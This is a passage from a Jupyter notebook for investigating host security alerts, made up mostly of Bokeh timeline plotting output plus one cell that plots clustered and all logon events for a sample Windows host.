Circle\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Timeline: All Host Logons\"},\"id\":\"1305\",\"type\":\"Title\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"coordinates\":null,\"formatter\":{\"id\":\"1372\"},\"group\":null,\"major_label_policy\":{\"id\":\"1385\"},\"ticker\":{\"id\":\"1316\"}},\"id\":\"1315\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1395\",\"type\":\"DaysTicker\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1470\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1392\",\"type\":\"DaysTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1471\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1325\",\"type\":\"ResetTool\"},{\"attributes\":{\"label\":{\"value\":\"Clustered\"},\"renderers\":[{\"id\":\"1378\"}]},\"id\":\"1402\",\"type\":\"LegendItem\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1472\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"1311\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1475\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1474\",\"type\":\"DaysTicker\"},{\"attributes\":{\"tools\":[{\"id\":\"1303\"},{\"id\":\"1323\"},{\"id\":\"1324\"},{\"id\":\"1325\"},{\"id\":\"1326\"},{\"id\":\"1327\"}]},\"id\":\"1329\",\"type\":\"Toolbar\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1363\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1473\",\"type\":\"DaysTicker\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"1337\",\"type\":\"Title\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1480\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1389\"},{\"id\":\"1390\"},{\"id\":\"1391\"},{\"id\":\"1392\"},{\"id\":\"1393\"},{\"id\":\"1394\"},{\"id\":\"1395\"},{\"id\":\"1396\"},{\"id\":\"1397\"},{\"id\":\"1398\"},{\"id\":\"1399\"},{\"id\":\"1400\"}]},\"id\":\"1316\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1393\",\"type\":\"DaysTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1476\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1477\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"below\":[{\"id\":\"1347\"},{\"id\":\"1352\"}],\"center\":[{\"id\":\"1350\"}],\"height\":120,\"renderers\":[{\"id\":\"1359\"},{\"id\":\"1365\"}],\"title\":{\"id\":\"1337\"},\"toolbar\":{\"id\":\"1351\"},\"toolbar_location\":null,\"width\":900,\"x_range\":{\"id\":\"1339\"},\"x_scale\":{\"id\":\"1343\"},\"y_range\":{\"id\":\"1341\"},\"y_scale\":{\"id\":\"1345\"}},\"id\":\"1336\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1479\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1481\",\"type\":\"YearsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#FDE724\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1364\",\"type\":\"Circle\"},{\"attributes\":{\"active_multi\":{\"id\":\"1367\"},\"tools\":[{\"id\":\"1367\"}]},\"id\":\"1351\",\"type\":\"Toolbar\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1372\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"end\":1547530591064.3,\"start\":1547515271728.7},\"id\":\"1307\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"1313\",\"type\":\"LinearScale\"},{\"attributes\":{\"below\":[{\"id\":\"1315\"}],\"center\":[{\"id\":\"1318\"},{\"id\":\"1322\"},{\"id\":\"1401\"},{\"id\":\"1439\"}],\"height\":300,\"left\":[{\"id\":\"1319\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"1378\"},{\"id\":\"1407\"},{\"id\":\"1437\"}],\"title\":{\"id\":\"1305\"},\"toolbar\":{\"id\":\"1329\"},\"width\":900,\"x_range\":{\"id\":\"1307\"},\"x_scale\":{\"id\":\"1311\"},\"y_range\":{\"id\":\"1309\"},\"y_scale\":{\"id\":\"1313\"}},\"id\":\"1304\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"overlay\":{\"id\":\"1368\"},\"x_range\":{\"id\":\"1307\"},\"y_range\":null},\"id\":\"1367\",\"type\":\"RangeTool\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1391\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1398\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1400\",\"type\":\"YearsTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1399\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1386\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1433\"},\"glyph\":{\"id\":\"1434\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1436\"},\"nonselection_glyph\":{\"id\":\"1435\"},\"view\":{\"id\":\"1438\"}},\"id\":\"1437\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"1328\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"line_alpha\":0.2,\"line_color\":\"red\",\"line_dash\":[6],\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1436\",\"type\":\"Line\"},{\"attributes\":{},\"id\":\"1383\",\"type\":\"AllLabels\"},{\"attributes\":{\"source\":{\"id\":\"1433\"}},\"id\":\"1438\",\"type\":\"CDSView\"},{\"attributes\":{\"data\":{\"Account\":[\"MSTICAlertsWin1\\\\adm1nistrator\",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"NT AUTHORITY\\\\SYSTEM\"],\"LogonType\":[3,4,5],\"TimeGenerated\":{\"__ndarray__\":\"ALAP9P6EdkIAIBxK/IR2QgBAT8nyhHZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[3]},\"index\":[2,0,1],\"y_index\":[0,0,0]},\"selected\":{\"id\":\"1387\"},\"selection_policy\":{\"id\":\"1386\"}},\"id\":\"1301\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"data\":{\"x\":[1547529306363.0,1547529306363.0],\"y\":[0,2]},\"selected\":{\"id\":\"1455\"},\"selection_policy\":{\"id\":\"1454\"}},\"id\":\"1433\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"1382\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"red\",\"line_dash\":[6],\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1435\",\"type\":\"Line\"},{\"attributes\":{\"background_fill_alpha\":0.3,\"background_fill_color\":\"white\",\"border_line_alpha\":0.3,\"border_line_color\":\"red\",\"coordinates\":null,\"group\":null,\"render_mode\":\"css\",\"text\":\"< Event time\",\"text_alpha\":0.5,\"text_font_size\":\"8pt\",\"x\":1547529306363.0,\"y\":0,\"y_offset\":10},\"id\":\"1439\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"1387\",\"type\":\"Selection\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1302\"},\"glyph\":{\"id\":\"1404\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1406\"},\"nonselection_glyph\":{\"id\":\"1405\"},\"view\":{\"id\":\"1408\"}},\"id\":\"1407\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1406\",\"type\":\"Scatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#FDE724\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"#FDE724\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#FDE724\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1405\",\"type\":\"Scatter\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1478\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"label\":{\"value\":\"All Logons\"},\"renderers\":[{\"id\":\"1407\"}]},\"id\":\"1432\",\"type\":\"LegendItem\"},{\"attributes\":{\"source\":{\"id\":\"1302\"}},\"id\":\"1408\",\"type\":\"CDSView\"},{\"attributes\":{\"line_alpha\":0.5,\"line_color\":\"red\",\"line_dash\":[6],\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1434\",\"type\":\"Line\"},{\"attributes\":{},\"id\":\"1418\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"1449\",\"type\":\"AllLabels\"},{\"attributes\":{},\"id\":\"1417\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"1385\",\"type\":\"AllLabels\"}],\"root_ids\":[\"1440\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n const render_items = [{\"docid\":\"c549f34e-269d-419d-a0cb-42d482f2b318\",\"root_ids\":[\"1440\"],\"roots\":{\"1440\":\"e5b3880e-9f87-4a7b-b38f-97df2d3f0fc2\"}}];\n root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n }\n if (root.Bokeh !== undefined) {\n embed_document(root);\n } else {\n let attempts = 0;\n const timer = setInterval(function(root) {\n if (root.Bokeh !== undefined) {\n clearInterval(timer);\n embed_document(root);\n } else {\n attempts++;\n if (attempts > 100) {\n clearInterval(timer);\n console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n }\n }\n }, 10, root)\n }\n})(window);", "application/vnd.bokehjs_exec.v0+json": "" }, "metadata": { "application/vnd.bokehjs_exec.v0+json": { "id": "1440" } }, "output_type": "display_data" }, { "data": { "text/html": [ "
Column(
id = '1440', …)
align = 'start',
aspect_ratio = None,
background = None,
children = [Figure(id='1304', ...), Figure(id='1336', ...)],
css_classes = [],
disabled = False,
height = None,
height_policy = 'auto',
js_event_callbacks = {},
js_property_callbacks = {},
margin = (0, 0, 0, 0),
max_height = None,
max_width = None,
min_height = None,
min_width = None,
name = None,
rows = 'auto',
sizing_mode = None,
spacing = 0,
subscribed_events = [],
syncable = True,
tags = [],
visible = True,
width = None,
width_policy = 'auto')
\n", "\n" ], "text/plain": [ "Column(id='1440', ...)" ] }, "execution_count": 12, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Show timeline of events - all logons + clustered logons\n", "# ref marker indicates\n", "\n", "logon_data = {\"Clustered\": {\"data\": clus_logons}, \"All Logons\": {\"data\": host_logons}}\n", "display_timeline(\n", " data=logon_data,\n", " source_columns=[\"Account\", \"LogonType\"],\n", " ref_event=clus_logons.iloc[0],\n", " title=\"All Host Logons\",\n", " legend=\"inline\",\n", ")\n", "\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### View Process Session and Logon Events in Timelines\n", "This shows the timeline of the clustered logon events with the process tree obtained earlier. This allows you to get a sense of which logon was responsible for the process tree session whether any additional logons (e.g. creating a process as another user) might be associated with the alert timeline.\n", "\n", "*Note you should use the pan and zoom tools to align the timelines since the data may be over different time ranges.*" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n const force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n const JS_MIME_TYPE = 'application/javascript';\n const HTML_MIME_TYPE = 'text/html';\n const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n const CLASS_NAME = 'output_bokeh rendered_html';\n\n /**\n * Render data to the DOM node\n */\n function render(props, node) {\n const script = document.createElement(\"script\");\n node.appendChild(script);\n }\n\n /**\n * Handle when an output is cleared or removed\n */\n function handleClearOutput(event, handle) {\n const cell = handle.cell;\n\n const id = cell.output_area._bokeh_element_id;\n const server_id = cell.output_area._bokeh_server_id;\n // Clean up Bokeh references\n if (id != null && id in Bokeh.index) {\n Bokeh.index[id].model.document.clear();\n delete Bokeh.index[id];\n }\n\n if (server_id !== undefined) {\n // Clean up Bokeh references\n const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n cell.notebook.kernel.execute(cmd_clean, {\n iopub: {\n output: function(msg) {\n const id = msg.content.text.trim();\n if (id in Bokeh.index) {\n Bokeh.index[id].model.document.clear();\n delete Bokeh.index[id];\n }\n }\n }\n });\n // Destroy server and session\n const cmd_destroy = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n cell.notebook.kernel.execute(cmd_destroy);\n }\n }\n\n /**\n * Handle when a new output is added\n */\n function handleAddOutput(event, handle) {\n const output_area = handle.output_area;\n const output = handle.output;\n\n // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n return\n }\n\n const toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n\n if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n // store reference to embed id on output_area\n output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n }\n if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n const bk_div = document.createElement(\"div\");\n bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n const script_attrs = bk_div.children[0].attributes;\n for (let i = 0; i < script_attrs.length; i++) {\n toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n }\n // store reference to server id on output_area\n output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n }\n }\n\n function register_renderer(events, OutputArea) {\n\n function append_mime(data, metadata, element) {\n // create a DOM node to render to\n const toinsert = this.create_output_subarea(\n metadata,\n CLASS_NAME,\n EXEC_MIME_TYPE\n );\n this.keyboard_manager.register_events(toinsert);\n // Render to node\n const props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n render(props, toinsert[toinsert.length - 1]);\n element.append(toinsert);\n return toinsert\n }\n\n /* Handle when an output is cleared or removed */\n events.on('clear_output.CodeCell', handleClearOutput);\n events.on('delete.Cell', handleClearOutput);\n\n /* Handle when a new output is added */\n events.on('output_added.OutputArea', handleAddOutput);\n\n /**\n * Register the mime type and append_mime function with output_area\n */\n OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n /* Is output safe? */\n safe: true,\n /* Index of renderer in `output_area.display_order` */\n index: 0\n });\n }\n\n // register the mime type if in Jupyter Notebook environment and previously unregistered\n if (root.Jupyter !== undefined) {\n const events = require('base/js/events');\n const OutputArea = require('notebook/js/outputarea').OutputArea;\n\n if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n register_renderer(events, OutputArea);\n }\n }\n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n const NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n const el = document.getElementById(\"1689\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error(url) {\n console.error(\"failed to load \" + url);\n }\n\n for (let i = 0; i < css_urls.length; i++) {\n const url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error.bind(null, url);\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (let i = 0; i < js_urls.length; i++) {\n const url = js_urls[i];\n const element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error.bind(null, url);\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n const js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.4.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-mathjax-2.4.2.min.js\"];\n const css_urls = [];\n \n\n const inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (let i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n const cell = $(document.getElementById(\"1689\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));", "application/vnd.bokehjs_load.v0+json": "" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
\n" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": "(function(root) {\n function embed_document(root) {\n \n const docs_json = {\"f430dc37-ceca-4651-8411-2f152b562d82\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1692\"},{\"id\":\"1724\"}]},\"id\":\"1762\",\"type\":\"Column\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1788\"},{\"id\":\"1789\"},{\"id\":\"1790\"},{\"id\":\"1791\"},{\"id\":\"1792\"},{\"id\":\"1793\"},{\"id\":\"1794\"},{\"id\":\"1795\"},{\"id\":\"1796\"},{\"id\":\"1797\"},{\"id\":\"1798\"},{\"id\":\"1799\"}]},\"id\":\"1736\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Range Selector\"},\"id\":\"1725\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"1708\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"1733\",\"type\":\"LinearScale\"},{\"attributes\":{\"coordinates\":null,\"formatter\":{\"id\":\"1741\"},\"group\":null,\"major_label_policy\":{\"id\":\"1771\"},\"ticker\":{\"id\":\"1736\"}},\"id\":\"1735\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1790\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"axis\":{\"id\":\"1735\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"1738\",\"type\":\"Grid\"},{\"attributes\":{\"active_multi\":{\"id\":\"1749\"},\"tools\":[{\"id\":\"1749\"}]},\"id\":\"1739\",\"type\":\"Toolbar\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1775\"},{\"id\":\"1776\"},{\"id\":\"1777\"},{\"id\":\"1778\"},{\"id\":\"1779\"},{\"id\":\"1780\"},{\"id\":\"1781\"},{\"id\":\"1782\"},{\"id\":\"1783\"},{\"id\":\"1784\"},{\"id\":\"1785\"},{\"id\":\"1786\"}]},\"id\":\"1704\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"axis\":{\"id\":\"1707\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"1710\",\"type\":\"Grid\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"coordinates\":null,\"formatter\":{\"id\":\"1754\"},\"group\":null,\"major_label_policy\":{\"id\":\"1769\"},\"ticker\":{\"id\":\"1704\"}},\"id\":\"1703\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1788\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1791\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1799\",\"type\":\"YearsTicker\"},{\"attributes\":{\"start\":-1.0},\"id\":\"1697\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"1771\",\"type\":\"AllLabels\"},{\"attributes\":{\"below\":[{\"id\":\"1703\"}],\"center\":[{\"id\":\"1706\"},{\"id\":\"1710\"}],\"height\":200,\"left\":[{\"id\":\"1707\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"1760\"}],\"title\":{\"id\":\"1693\"},\"toolbar\":{\"id\":\"1717\"},\"width\":900,\"x_range\":{\"id\":\"1695\"},\"x_scale\":{\"id\":\"1699\"},\"y_range\":{\"id\":\"1697\"},\"y_scale\":{\"id\":\"1701\"}},\"id\":\"1692\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"source\":{\"id\":\"1690\"}},\"id\":\"1761\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1772\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1792\",\"type\":\"DaysTicker\"},{\"attributes\":{\"axis\":{\"id\":\"1703\"},\"coordinates\":null,\"group\":null,\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"1706\",\"type\":\"Grid\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1798\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1793\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1795\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"end\":1547530582165.3,\"start\":1547515272537.7002},\"id\":\"1695\",\"type\":\"Range1d\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1794\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1796\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1789\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1741\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1759\",\"type\":\"Scatter\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"LogonType\",\"@LogonType\"],[\"Account\",\"@Account\"],[\"TimeGenerated\",\"@TimeGenerated{%F 